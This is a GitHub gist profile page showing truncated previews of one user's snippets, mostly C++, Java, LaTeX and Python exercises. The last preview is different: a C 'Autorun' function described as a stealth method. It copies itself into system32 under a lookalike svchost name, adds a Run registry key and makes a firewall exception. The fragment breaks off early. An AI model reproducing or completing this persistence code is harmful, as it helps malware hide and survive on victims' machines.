Skip to content

Instantly share code, notes, and snippets.

View antvconst's full-sized avatar

Anton Konstantinov antvconst

  • Russia, Saint-Petersburg
View GitHub Profile
#include <string>
#include <vector>
#include <iostream>
#include <fstream>
using namespace std;
struct str_pair { // упорядоченная пары строк
string u, v;
};
#include <string>
#include <vector>
#include <iostream>
#include <fstream>
using namespace std;
struct str_pair {
string u, v;
};
#include <iostream>
#include <fstream>
#include <string>
#include <map>
#include <set>
#include <vector>
using namespace std;
vector<string> tokenize(string s) {
vector<string> v;
#include <string>
#include <vector>
#include <iostream>
using namespace std;
struct str_pair {
string u, v;
};
void shift_numeration(vector<string>& v, int k) {
\documentclass{article}
\usepackage[T2A]{fontenc}
\usepackage[utf8]{inputenc}
\usepackage[russian]{babel}
\usepackage{amsmath}
\usepackage{amssymb}
\usepackage{mathrsfs}
\pagenumbering{gobble}
\usepackage[margin=0.5in,footskip=0.25in]{geometry}
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
// Класс кодовой таблицы, являющийся небольшой надстройкой над стандартной хэш-таблицей
@antvconst
antvconst / set.cpp
Created September 16, 2016 17:17
ХДЛН
#include <iostream>
#include <set>
#include <algorithm>
#include <iterator>
void fill(std::set<char>& s) {
char c;
while (true) {
c = getchar();
if (c == '\n')
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
class Coding {
// Определяет, является ли символом разделителем
public static boolean isDelimiter(char c) {
return (c == '#') ||
def plus(a, b):
return a+b
def func(a, b, c):
return lambda : a(b, c)
fn = func(plus, 1, 2)
print fn
print fn()
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance
{
HKEY key;
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char valuename[] = "svchost";
char filename[61];
char Win_Dir[33];
GetSystemDirectory(Win_Dir, sizeof Win_Dir);
sprintf(filename,"%s\\sv�host.exe", Win_Dir);
if (strcmp(filename, Path) == 0)